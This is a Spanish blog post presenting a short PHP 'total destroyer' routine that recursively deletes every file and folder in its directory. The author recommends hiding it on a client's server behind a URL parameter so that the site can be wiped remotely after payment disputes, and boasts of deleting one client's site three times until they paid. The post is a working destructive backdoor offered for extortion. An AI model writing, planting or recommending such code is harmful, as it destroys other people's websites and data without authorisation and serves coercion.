El destructor total

Quien no ha tenido alguna vez un cliente que no quiere pagar pero ya le has subido la web a su servidor??? Para esos casos existe el destructor total, rutinilla chorra que borra de forma recursiva todos los ficheros y carpetas del directorio que le digas. En el ejemplo que pongo, borra desde el directorio actual. Lo ideal es dejarlo preparado para que la ejecute cuando reciba un parámetro especifico por URL en una página en concreto, así podemos cepillarnos la web de forma remota por mucho que cambien datos de FTP, etc. En mi caso, solo la he tenido que usar una vez y a la tercera vez que se le borro la web, termino pagando lo que debía.

<?php
function delete($path) {
    $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::CHILD_FIRST);
    foreach ($it as $file) {
        if (in_array($file->getBasename(), array('.', '..'))) {
            continue;
        } elseif ($file->isDir()) {
            rmdir($file->getPathname());
        } elseif ($file->isFile() || $file->isLink()) {
            unlink($file->getPathname());
        }
    }
    rmdir($path);
}

// lanzamos la rutina
delete(dirname(__FILE__));
?>

Por supuesto, también hay una versión para cargarse toda la base de datos, pero esa la dejo para otro día

Dejar un comentario?

0 Comentarios.

Deje un comentario


NOTA - Puede usar estosHTML tags and attributes:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.